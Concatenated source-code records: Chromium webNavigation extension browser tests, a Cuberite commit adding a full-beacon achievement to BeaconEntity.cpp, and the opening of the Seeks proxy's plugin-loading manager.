browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n ExtensionService* service = browser()->profile()->GetExtensionService();\n const Extension* extension =\n service->GetExtensionById(last_loaded_extension_id_, false);\n GURL url = extension->GetResourceURL(\"userAction\/a.html\");\n\n ui_test_utils::NavigateToURL(browser(), url);\n\n \/\/ This corresponds to \"Open link in new tab\".\n content::ContextMenuParams params;\n params.is_editable = false;\n params.media_type = WebKit::WebContextMenuData::MediaTypeNone;\n params.page_url = url;\n params.frame_id =\n ExtensionWebNavigationTabObserver::Get(tab)->\n frame_navigation_state().GetMainFrameID();\n params.link_url = extension->GetResourceURL(\"userAction\/b.html\");\n\n TestRenderViewContextMenu menu(tab, params);\n menu.Init();\n menu.ExecuteCommand(IDC_CONTENT_CONTEXT_OPENLINKNEWTAB);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationRequestOpenTab) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtest(\"webnavigation\", \"test_requestOpenTab.html\"))\n << message_;\n\n WebContents* tab = browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n ExtensionService* service = browser()->profile()->GetExtensionService();\n const Extension* extension =\n service->GetExtensionById(last_loaded_extension_id_, false);\n GURL url = extension->GetResourceURL(\"requestOpenTab\/a.html\");\n\n ui_test_utils::NavigateToURL(browser(), url);\n\n \/\/ There's a link on a.html. Middle-click on it to open it in a new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonMiddle;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationTargetBlank) {\n FrameNavigationState::set_allow_extension_scheme(true);\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtest(\"webnavigation\", \"test_targetBlank.html\"))\n << message_;\n\n WebContents* tab = browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n GURL url = test_server()->GetURL(\n \"files\/extensions\/api_test\/webnavigation\/targetBlank\/a.html\");\n\n browser::NavigateParams params(browser(), url, content::PAGE_TRANSITION_LINK);\n ui_test_utils::NavigateToURL(¶ms);\n\n \/\/ There's a link with target=_blank on a.html. Click on it to open it in a\n \/\/ new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonLeft;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationTargetBlankIncognito) {\n FrameNavigationState::set_allow_extension_scheme(true);\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtestIncognito(\n \"webnavigation\", \"test_targetBlank.html\")) << message_;\n\n ResultCatcher catcher;\n\n GURL url = test_server()->GetURL(\n \"files\/extensions\/api_test\/webnavigation\/targetBlank\/a.html\");\n\n ui_test_utils::OpenURLOffTheRecord(browser()->profile(), url);\n WebContents* tab = BrowserList::FindTabbedBrowser(\n browser()->profile()->GetOffTheRecordProfile(), false)->\n GetSelectedWebContents();\n\n \/\/ There's a link with target=_blank on a.html. Click on it to open it in a\n \/\/ new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonLeft;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include \"Globals.h\" \/\/ NOTE: MSVC stupidness requires this to be the same across all modules\n\n#include \"BeaconEntity.h\"\n#include \"..\/BlockArea.h\"\n#include \"..\/Entities\/Player.h\"\n#include \"..\/UI\/BeaconWindow.h\"\n#include \"..\/ClientHandle.h\"\n\n\n\n\n\ncBeaconEntity::cBeaconEntity(BLOCKTYPE a_BlockType, NIBBLETYPE a_BlockMeta, int a_BlockX, int a_BlockY, int a_BlockZ, cWorld * a_World):\n\tSuper(a_BlockType, a_BlockMeta, a_BlockX, a_BlockY, a_BlockZ, 1, 1, a_World),\n\tm_IsActive(false),\n\tm_BeaconLevel(0),\n\tm_PrimaryEffect(cEntityEffect::effNoEffect),\n\tm_SecondaryEffect(cEntityEffect::effNoEffect)\n{\n\tASSERT(a_BlockType == E_BLOCK_BEACON);\n\tif (m_World != nullptr)\n\t{\n\t\tUpdateBeacon();\n\t}\n}\n\n\n\n\n\nchar cBeaconEntity::CalculatePyramidLevel(void)\n{\n\tcBlockArea Area;\n\tint MinY = std::max(GetPosY() - 4, 0);\n\tint MaxY = std::max(GetPosY() - 1, 0);\n\n\tArea.Read(\n\t\t*m_World,\n\t\tGetPosX() - 4, GetPosX() + 4,\n\t\tMinY, MaxY,\n\t\tGetPosZ() - 4, GetPosZ() + 4,\n\t\tcBlockArea::baTypes\n\t);\n\n\tint Layer = 1;\n\tint MiddleXZ = 4;\n\n\tfor (int Y = (Area.GetSizeY() - 1); Y >= 0; Y--)\n\t{\n\t\tfor (int X = MiddleXZ - Layer; X <= (MiddleXZ + Layer); X++)\n\t\t{\n\t\t\tfor (int Z = MiddleXZ - Layer; Z <= (MiddleXZ + Layer); Z++)\n\t\t\t{\n\t\t\t\tif (!IsMineralBlock(Area.GetRelBlockType(X, Y, Z)))\n\t\t\t\t{\n\t\t\t\t\treturn static_cast<char>(Layer - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tLayer++;\n\t}\n\n\treturn static_cast<char>(Layer - 1);\n}\n\n\n\n\n\nbool cBeaconEntity::IsValidEffect(cEntityEffect::eType a_Effect, char a_BeaconLevel)\n{\n\tswitch (a_Effect)\n\t{\n\t\tcase cEntityEffect::effRegeneration: return (a_BeaconLevel >= 4);\n\t\tcase cEntityEffect::effStrength: return (a_BeaconLevel >= 3);\n\t\tcase cEntityEffect::effResistance: return (a_BeaconLevel >= 2);\n\t\tcase cEntityEffect::effJumpBoost: return (a_BeaconLevel >= 2);\n\t\tcase cEntityEffect::effSpeed: return (a_BeaconLevel >= 1);\n\t\tcase cEntityEffect::effHaste: return (a_BeaconLevel >= 1);\n\t\tcase cEntityEffect::effNoEffect: return true;\n\n\t\tdefault:\n\t\t{\n\t\t\tLOGD(\"%s: Invalid beacon effect: %d\", __FUNCTION__, static_cast<int>(a_Effect));\n\t\t\treturn false;\n\t\t}\n\t}\n}\n\n\n\n\n\nbool cBeaconEntity::SetPrimaryEffect(cEntityEffect::eType a_Effect)\n{\n\tif (!IsValidEffect(a_Effect, m_BeaconLevel))\n\t{\n\t\tm_PrimaryEffect = cEntityEffect::effNoEffect;\n\t\treturn false;\n\t}\n\n\tm_PrimaryEffect = a_Effect;\n\n\t\/\/ Send window update:\n\tif (GetWindow() != nullptr)\n\t{\n\t\tGetWindow()->SetProperty(1, m_PrimaryEffect);\n\t}\n\treturn true;\n}\n\n\n\n\n\nbool cBeaconEntity::SetSecondaryEffect(cEntityEffect::eType a_Effect)\n{\n\tif (!IsValidEffect(a_Effect, m_BeaconLevel))\n\t{\n\t\tm_SecondaryEffect = cEntityEffect::effNoEffect;\n\t\treturn false;\n\t}\n\n\tm_SecondaryEffect = a_Effect;\n\n\t\/\/ Send window update:\n\tif (GetWindow() != nullptr)\n\t{\n\t\tGetWindow()->SetProperty(2, m_SecondaryEffect);\n\t}\n\treturn true;\n}\n\n\n\n\n\nbool cBeaconEntity::IsBeaconBlocked(void)\n{\n\tfor (int Y = m_PosY; Y < cChunkDef::Height; ++Y)\n\t{\n\t\tBLOCKTYPE Block = m_World->GetBlock(m_PosX, Y, m_PosZ);\n\t\tif (!cBlockInfo::IsTransparent(Block))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cBeaconEntity::IsMineralBlock(BLOCKTYPE a_BlockType)\n{\n\tswitch (a_BlockType)\n\t{\n\t\tcase E_BLOCK_DIAMOND_BLOCK:\n\t\tcase E_BLOCK_GOLD_BLOCK:\n\t\tcase E_BLOCK_IRON_BLOCK:\n\t\tcase E_BLOCK_EMERALD_BLOCK:\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nvoid cBeaconEntity::UpdateBeacon(void)\n{\n\tint OldBeaconLevel = m_BeaconLevel;\n\n\tif (IsBeaconBlocked())\n\t{\n\t\tm_IsActive = false;\n\t\tm_BeaconLevel = 0;\n\t}\n\telse\n\t{\n\t\tm_BeaconLevel = CalculatePyramidLevel();\n\t\tm_IsActive = (m_BeaconLevel > 0);\n\t}\n\n\tif (m_BeaconLevel != OldBeaconLevel)\n\t{\n\t\t\/\/ Send window update:\n\t\tif (GetWindow() != nullptr)\n\t\t{\n\t\t\tGetWindow()->SetProperty(0, m_BeaconLevel);\n\t\t}\n\t}\n\n\t\/\/ TODO: Add achievement\n}\n\n\n\n\n\nvoid cBeaconEntity::GiveEffects(void)\n{\n\tif (!m_IsActive || (m_BeaconLevel < 0))\n\t{\n\t\treturn;\n\t}\n\n\tint Radius = m_BeaconLevel * 10 + 10;\n\tshort EffectLevel = 0;\n\tif ((m_BeaconLevel >= 4) && (m_PrimaryEffect == m_SecondaryEffect))\n\t{\n\t\tEffectLevel = 1;\n\t}\n\n\tcEntityEffect::eType SecondaryEffect = cEntityEffect::effNoEffect;\n\tif ((m_BeaconLevel >= 4) && (m_PrimaryEffect != m_SecondaryEffect) && (m_SecondaryEffect > 0))\n\t{\n\t\tSecondaryEffect = m_SecondaryEffect;\n\t}\n\n\tclass cPlayerCallback : public cPlayerListCallback\n\t{\n\t\tint m_Radius;\n\t\tint m_PosX, m_PosY, m_PosZ;\n\t\tcEntityEffect::eType m_PrimaryEffect, m_SecondaryEffect;\n\t\tshort m_EffectLevel;\n\n\t\tvirtual bool Item(cPlayer * a_Player)\n\t\t{\n\t\t\tVector3d PlayerPosition = Vector3d(a_Player->GetPosition());\n\t\t\tif (PlayerPosition.y > static_cast<double>(m_PosY))\n\t\t\t{\n\t\t\t\tPlayerPosition.y = static_cast<double>(m_PosY);\n\t\t\t}\n\n\t\t\t\/\/ TODO: Vanilla minecraft uses an AABB check instead of a radius one\n\t\t\tVector3d BeaconPosition = Vector3d(m_PosX, m_PosY, m_PosZ);\n\t\t\tif ((PlayerPosition - BeaconPosition).Length() <= m_Radius)\n\t\t\t{\n\t\t\t\ta_Player->AddEntityEffect(m_PrimaryEffect, 180, m_EffectLevel);\n\n\t\t\t\tif (m_SecondaryEffect != cEntityEffect::effNoEffect)\n\t\t\t\t{\n\t\t\t\t\ta_Player->AddEntityEffect(m_SecondaryEffect, 180, 0);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\tpublic:\n\t\tcPlayerCallback(int a_Radius, int a_PosX, int a_PosY, int a_PosZ, cEntityEffect::eType a_PrimaryEffect, cEntityEffect::eType a_SecondaryEffect, short a_EffectLevel):\n\t\t\tm_Radius(a_Radius),\n\t\t\tm_PosX(a_PosX),\n\t\t\tm_PosY(a_PosY),\n\t\t\tm_PosZ(a_PosZ),\n\t\t\tm_PrimaryEffect(a_PrimaryEffect),\n\t\t\tm_SecondaryEffect(a_SecondaryEffect),\n\t\t\tm_EffectLevel(a_EffectLevel)\n\t\t{\n\t\t}\n\n\t} PlayerCallback(Radius, m_PosX, m_PosY, m_PosZ, m_PrimaryEffect, SecondaryEffect, EffectLevel);\n\tGetWorld()->ForEachPlayer(PlayerCallback);\n}\n\n\n\n\n\nvoid cBeaconEntity::CopyFrom(const cBlockEntity & a_Src)\n{\n\tSuper::CopyFrom(a_Src);\n\tauto & src = reinterpret_cast<const cBeaconEntity &>(a_Src);\n\tm_BeaconLevel = src.m_BeaconLevel;\n\tm_Contents.CopyFrom(src.m_Contents);\n\tm_IsActive = src.m_IsActive;\n\tm_PrimaryEffect = src.m_PrimaryEffect;\n\tm_SecondaryEffect = src.m_SecondaryEffect;\n}\n\n\n\n\n\nvoid cBeaconEntity::SendTo(cClientHandle & a_Client)\n{\n\ta_Client.SendUpdateBlockEntity(*this);\n}\n\n\n\n\n\nbool cBeaconEntity::Tick(std::chrono::milliseconds a_Dt, cChunk & a_Chunk)\n{\n\t\/\/ Update the beacon every 4 seconds\n\tif ((GetWorld()->GetWorldAge() % 80) == 0)\n\t{\n\t\tUpdateBeacon();\n\t\tGiveEffects();\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cBeaconEntity::UsedBy(cPlayer * a_Player)\n{\n\tcWindow * Window = GetWindow();\n\tif (Window == nullptr)\n\t{\n\t\tOpenWindow(new cBeaconWindow(m_PosX, m_PosY, m_PosZ, this));\n\t\tWindow = GetWindow();\n\t}\n\n\tif (Window != nullptr)\n\t{\n\t\t\/\/ if (a_Player->GetWindow() != Window)\n\t\t\/\/ -> Because mojang doesn't send a 'close window' packet when you click the cancel button in the beacon inventory ...\n\t\t{\n\t\t\ta_Player->OpenWindow(*Window);\n\t\t}\n\t}\n\treturn true;\n}\n\n\n\n\n<commit_msg>Award player an achievement when creating a beacon (#3930)<commit_after>\n#include \"Globals.h\" \/\/ NOTE: MSVC stupidness requires this to be the same across all modules\n\n#include \"BeaconEntity.h\"\n#include \"..\/BlockArea.h\"\n#include \"..\/Entities\/Player.h\"\n#include \"..\/UI\/BeaconWindow.h\"\n#include \"..\/ClientHandle.h\"\n\n\n\n\n\ncBeaconEntity::cBeaconEntity(BLOCKTYPE a_BlockType, NIBBLETYPE a_BlockMeta, int a_BlockX, int a_BlockY, int a_BlockZ, cWorld * a_World):\n\tSuper(a_BlockType, a_BlockMeta, a_BlockX, a_BlockY, a_BlockZ, 1, 1, a_World),\n\tm_IsActive(false),\n\tm_BeaconLevel(0),\n\tm_PrimaryEffect(cEntityEffect::effNoEffect),\n\tm_SecondaryEffect(cEntityEffect::effNoEffect)\n{\n\tASSERT(a_BlockType == E_BLOCK_BEACON);\n\tif (m_World != nullptr)\n\t{\n\t\tUpdateBeacon();\n\t}\n}\n\n\n\n\n\nchar cBeaconEntity::CalculatePyramidLevel(void)\n{\n\tcBlockArea Area;\n\tint MinY = std::max(GetPosY() - 4, 0);\n\tint MaxY = std::max(GetPosY() - 1, 0);\n\n\tArea.Read(\n\t\t*m_World,\n\t\tGetPosX() - 4, GetPosX() + 4,\n\t\tMinY, MaxY,\n\t\tGetPosZ() - 4, GetPosZ() + 4,\n\t\tcBlockArea::baTypes\n\t);\n\n\tint Layer = 1;\n\tint MiddleXZ = 4;\n\n\tfor (int Y = (Area.GetSizeY() - 1); Y >= 0; Y--)\n\t{\n\t\tfor (int X = MiddleXZ - Layer; X <= (MiddleXZ + Layer); X++)\n\t\t{\n\t\t\tfor (int Z = MiddleXZ - Layer; Z <= (MiddleXZ + Layer); Z++)\n\t\t\t{\n\t\t\t\tif (!IsMineralBlock(Area.GetRelBlockType(X, Y, Z)))\n\t\t\t\t{\n\t\t\t\t\treturn static_cast<char>(Layer - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tLayer++;\n\t}\n\n\treturn static_cast<char>(Layer - 1);\n}\n\n\n\n\n\nbool cBeaconEntity::IsValidEffect(cEntityEffect::eType a_Effect, char a_BeaconLevel)\n{\n\tswitch (a_Effect)\n\t{\n\t\tcase cEntityEffect::effRegeneration: return (a_BeaconLevel >= 4);\n\t\tcase cEntityEffect::effStrength: return (a_BeaconLevel >= 3);\n\t\tcase cEntityEffect::effResistance: return (a_BeaconLevel >= 2);\n\t\tcase cEntityEffect::effJumpBoost: return (a_BeaconLevel >= 2);\n\t\tcase cEntityEffect::effSpeed: return (a_BeaconLevel >= 1);\n\t\tcase cEntityEffect::effHaste: return (a_BeaconLevel >= 1);\n\t\tcase cEntityEffect::effNoEffect: return true;\n\n\t\tdefault:\n\t\t{\n\t\t\tLOGD(\"%s: Invalid beacon effect: %d\", __FUNCTION__, static_cast<int>(a_Effect));\n\t\t\treturn false;\n\t\t}\n\t}\n}\n\n\n\n\n\nbool cBeaconEntity::SetPrimaryEffect(cEntityEffect::eType a_Effect)\n{\n\tif (!IsValidEffect(a_Effect, m_BeaconLevel))\n\t{\n\t\tm_PrimaryEffect = cEntityEffect::effNoEffect;\n\t\treturn false;\n\t}\n\n\tm_PrimaryEffect = a_Effect;\n\n\t\/\/ Send window update:\n\tif (GetWindow() != nullptr)\n\t{\n\t\tGetWindow()->SetProperty(1, m_PrimaryEffect);\n\t}\n\treturn true;\n}\n\n\n\n\n\nbool cBeaconEntity::SetSecondaryEffect(cEntityEffect::eType a_Effect)\n{\n\tif (!IsValidEffect(a_Effect, m_BeaconLevel))\n\t{\n\t\tm_SecondaryEffect = cEntityEffect::effNoEffect;\n\t\treturn false;\n\t}\n\n\tm_SecondaryEffect = a_Effect;\n\n\t\/\/ Send window update:\n\tif (GetWindow() != nullptr)\n\t{\n\t\tGetWindow()->SetProperty(2, m_SecondaryEffect);\n\t}\n\treturn true;\n}\n\n\n\n\n\nbool cBeaconEntity::IsBeaconBlocked(void)\n{\n\tfor (int Y = m_PosY; Y < cChunkDef::Height; ++Y)\n\t{\n\t\tBLOCKTYPE Block = m_World->GetBlock(m_PosX, Y, m_PosZ);\n\t\tif (!cBlockInfo::IsTransparent(Block))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cBeaconEntity::IsMineralBlock(BLOCKTYPE a_BlockType)\n{\n\tswitch (a_BlockType)\n\t{\n\t\tcase E_BLOCK_DIAMOND_BLOCK:\n\t\tcase E_BLOCK_GOLD_BLOCK:\n\t\tcase E_BLOCK_IRON_BLOCK:\n\t\tcase E_BLOCK_EMERALD_BLOCK:\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nvoid cBeaconEntity::UpdateBeacon(void)\n{\n\tint OldBeaconLevel = m_BeaconLevel;\n\n\tif (IsBeaconBlocked())\n\t{\n\t\tm_IsActive = false;\n\t\tm_BeaconLevel = 0;\n\t}\n\telse\n\t{\n\t\tm_BeaconLevel = CalculatePyramidLevel();\n\t\tm_IsActive = (m_BeaconLevel > 0);\n\t}\n\n\tif ((m_BeaconLevel != OldBeaconLevel) && (m_BeaconLevel == 4))\n\t{\n\t\t\/\/ Send window update:\n\t\tif (GetWindow() != nullptr)\n\t\t{\n\t\t\tGetWindow()->SetProperty(0, m_BeaconLevel);\n\t\t}\n\n\t\tclass cPlayerCallback :\n\t\t\tpublic cPlayerListCallback\n\t\t{\n\t\tpublic:\n\t\t\tcPlayerCallback(Vector3d a_Position):\n\t\t\t\tm_Position(a_Position)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual bool Item(cPlayer * a_Player)\n\t\t\t{\n\t\t\t\tVector3d Distance = m_Position - a_Player->GetPosition();\n\t\t\t\tif (\n\t\t\t\t\t(std::abs(Distance.y) <= 14) &&\n\t\t\t\t\t(std::abs(Distance.x) <= 20) &&\n\t\t\t\t\t(std::abs(Distance.z) <= 20)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\ta_Player->AwardAchievement(eStatistic::achFullBeacon);\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\tprivate:\n\t\t\tVector3d m_Position;\n\t\t} PlayerCallback(Vector3d(m_PosX, m_PosY, m_PosZ));\n\t\tGetWorld()->ForEachPlayer(PlayerCallback);\n\t}\n}\n\n\n\n\n\nvoid cBeaconEntity::GiveEffects(void)\n{\n\tif (!m_IsActive || (m_BeaconLevel < 0))\n\t{\n\t\treturn;\n\t}\n\n\tint Radius = m_BeaconLevel * 10 + 10;\n\tshort EffectLevel = 0;\n\tif ((m_BeaconLevel >= 4) && (m_PrimaryEffect == m_SecondaryEffect))\n\t{\n\t\tEffectLevel = 1;\n\t}\n\n\tcEntityEffect::eType SecondaryEffect = cEntityEffect::effNoEffect;\n\tif ((m_BeaconLevel >= 4) && (m_PrimaryEffect != m_SecondaryEffect) && (m_SecondaryEffect > 0))\n\t{\n\t\tSecondaryEffect = m_SecondaryEffect;\n\t}\n\n\tclass cPlayerCallback : public cPlayerListCallback\n\t{\n\t\tint m_Radius;\n\t\tVector3d m_Position;\n\t\tcEntityEffect::eType m_PrimaryEffect, m_SecondaryEffect;\n\t\tshort m_EffectLevel;\n\n\t\tvirtual bool Item(cPlayer * a_Player)\n\t\t{\n\t\t\tVector3d PlayerPosition = Vector3d(a_Player->GetPosition());\n\t\t\tif (PlayerPosition.y > m_Position.y)\n\t\t\t{\n\t\t\t\tPlayerPosition.y = m_Position.y;\n\t\t\t}\n\n\t\t\t\/\/ TODO: Vanilla minecraft uses an AABB check instead of a radius one\n\t\t\tif ((PlayerPosition - m_Position).Length() <= m_Radius)\n\t\t\t{\n\t\t\t\ta_Player->AddEntityEffect(m_PrimaryEffect, 180, m_EffectLevel);\n\n\t\t\t\tif (m_SecondaryEffect != cEntityEffect::effNoEffect)\n\t\t\t\t{\n\t\t\t\t\ta_Player->AddEntityEffect(m_SecondaryEffect, 180, 0);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\tpublic:\n\t\tcPlayerCallback(int a_Radius, Vector3d a_Position, cEntityEffect::eType a_PrimaryEffect, cEntityEffect::eType a_SecondaryEffect, short a_EffectLevel):\n\t\t\tm_Radius(a_Radius),\n\t\t\tm_Position(a_Position),\n\t\t\tm_PrimaryEffect(a_PrimaryEffect),\n\t\t\tm_SecondaryEffect(a_SecondaryEffect),\n\t\t\tm_EffectLevel(a_EffectLevel)\n\t\t{\n\t\t}\n\n\t} PlayerCallback(Radius, Vector3d(m_PosX, m_PosY, m_PosZ), m_PrimaryEffect, SecondaryEffect, EffectLevel);\n\tGetWorld()->ForEachPlayer(PlayerCallback);\n}\n\n\n\n\n\nvoid cBeaconEntity::CopyFrom(const cBlockEntity & a_Src)\n{\n\tSuper::CopyFrom(a_Src);\n\tauto & src = reinterpret_cast<const cBeaconEntity &>(a_Src);\n\tm_BeaconLevel = src.m_BeaconLevel;\n\tm_Contents.CopyFrom(src.m_Contents);\n\tm_IsActive = src.m_IsActive;\n\tm_PrimaryEffect = src.m_PrimaryEffect;\n\tm_SecondaryEffect = src.m_SecondaryEffect;\n}\n\n\n\n\n\nvoid cBeaconEntity::SendTo(cClientHandle & a_Client)\n{\n\ta_Client.SendUpdateBlockEntity(*this);\n}\n\n\n\n\n\nbool cBeaconEntity::Tick(std::chrono::milliseconds a_Dt, cChunk & a_Chunk)\n{\n\t\/\/ Update the beacon every 4 seconds\n\tif ((GetWorld()->GetWorldAge() % 80) == 0)\n\t{\n\t\tUpdateBeacon();\n\t\tGiveEffects();\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cBeaconEntity::UsedBy(cPlayer * a_Player)\n{\n\tcWindow * Window = GetWindow();\n\tif (Window == nullptr)\n\t{\n\t\tOpenWindow(new cBeaconWindow(m_PosX, m_PosY, m_PosZ, this));\n\t\tWindow = GetWindow();\n\t}\n\n\tif (Window != nullptr)\n\t{\n\t\t\/\/ if (a_Player->GetWindow() != Window)\n\t\t\/\/ -> Because mojang doesn't send a 'close window' packet when you click the cancel button in the beacon inventory ...\n\t\t{\n\t\t\ta_Player->OpenWindow(*Window);\n\t\t}\n\t}\n\treturn true;\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * The Seeks proxy and plugin framework are part of the SEEKS project.\n * Copyright (C) 2009 Emmanuel Benazera, juban@free.fr\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"plugin_manager.h\"\n\n#include \"seeks_proxy.h\"\n#include \"proxy_configuration.h\"\n#include \"errlog.h\"\n\n#include \"plugin.h\"\n#include \"interceptor_plugin.h\"\n#include \"action_plugin.h\"\n#include \"filter_plugin.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <dlfcn.h> \/\/ linux, TODO: windows.\n\n#include <list>\n#include <iostream>\n\n#include <assert.h>\n\nusing sp::proxy_configuration;\n\nnamespace sp\n{\n \/\/ variables.\n std::vector<plugin*> plugin_manager::_plugins = std::vector<plugin*>();\n std::vector<interceptor_plugin*> plugin_manager::_ref_interceptor_plugins \n = std::vector<interceptor_plugin*>();\n std::vector<action_plugin*> plugin_manager::_ref_action_plugins\n = std::vector<action_plugin*>();\n std::vector<filter_plugin*> plugin_manager::_ref_filter_plugins\n = std::vector<filter_plugin*>();\n\n hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr> plugin_manager::_cgi_dispatchers\n = hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>();\n \n std::string plugin_manager::_plugin_repository = \"\";\n \n std::map<std::string,maker_ptr*,std::less<std::string> > plugin_manager::_factory\n = std::map<std::string,maker_ptr*,std::less<std::string> >();\n \n std::list<void*> plugin_manager::_dl_list = std::list<void*>();\n \n std::map<std::string,configuration_spec*,std::less<std::string> > plugin_manager::_configurations\n = std::map<std::string,configuration_spec*,std::less<std::string> >();\n \n std::string plugin_manager::_config_html_template = \"templates\/pm_config.html\";\n \n int plugin_manager::load_all_plugins()\n {\n\t\/**\n\t * Defaults the plugin repository to the base directory, only if the repository has not been set \n\t * through the command line, or in the configuration file, in that order.\n\t *\/\n\tif (plugin_manager::_plugin_repository.empty() && seeks_proxy::_config->_plugindir)\n\t {\n\t plugin_manager::_plugin_repository = std::string(seeks_proxy::_config->_plugindir);\n\t }\n\telse if (plugin_manager::_plugin_repository.empty())\n\t {\n\t \/\/ basedir.\n\t assert(seeks_proxy::_basedir);\n\t plugin_manager::_plugin_repository = std::string(seeks_proxy::_basedir)\n#ifdef unix\n\t + \"\/plugins\/\"\n#endif\n\t ;\n#if defined(_WIN32)\n\t + \"\\plugins\\\\\";\n#endif\t\n\t }\n\t\n\tunsigned int BUF_SIZE = 1024;\n\t\n\t\/\/ TODO: win32...\n\t\n\tstd::string command_str = \"find \" + plugin_manager::_plugin_repository \n#if defined(ON_OPENBSD)\n\t + \" -name *.so*\";\n#elsif defined (ON_OSX)\n\t+ \" -name *plugin.dylib\";\n#else\n\t+ \" -name *.so\";\n#endif\n\tFILE *dl = popen(command_str.c_str(), \"r\"); \/\/ reading directory.\n\tif (!dl)\n\t {\n\t perror(\"popen\");\n\t exit(-1);\n\t }\n\t\n\tvoid *dlib;\n\tchar name[1024];\n\tchar in_buf[BUF_SIZE]; \/\/ input buffer for lib names.\n\twhile(fgets(in_buf, BUF_SIZE, dl))\n\t {\n\t char *ws = strpbrk(in_buf, \" \\t\\n\"); \/\/ remove spaces.\n\t if (ws) *ws = '\\0';\n\t \n\t sprintf(name, \"%s\", in_buf); \/\/ append '.\/' to lib name.\n\t dlib = dlopen(name, RTLD_NOW); \/\/ NOW imposes resolving all symbols\n\t \/\/ required for auto-registration.\n\t if (dlib == NULL)\n\t {\n\t\t errlog::log_error(LOG_LEVEL_FATAL, \"%s\", dlerror());\n\t\t exit(-1);\n\t }\n\t \n\t plugin_manager::_dl_list.insert(plugin_manager::_dl_list.end(),dlib); \/\/ add lib handle to the list.\n\t \n#if defined(ON_OPENBSD) || defined(ON_OSX)\n\t maker_ptr *pl_fct = (maker_ptr*)dlsym(dlib,\"maker\");\n\t if (!pl_fct)\n\t continue;\n\t \n\t plugin *pl = (*pl_fct)();\n\t if (pl)\n\t plugin_manager::_factory[pl->get_name()] = pl_fct;\n#endif\t \n\t }\n\t\n\tpclose(dl);\n\t\n\t\/\/debug\n\tstd::map<std::string,maker_ptr*,std::less<std::string> >::const_iterator mit \n\t = plugin_manager::_factory.begin();\n\twhile(mit!=plugin_manager::_factory.end())\n\t {\n\t errlog::log_error(LOG_LEVEL_INFO,\"loaded plugin \\t%s\", (*mit).first.c_str());\n\t 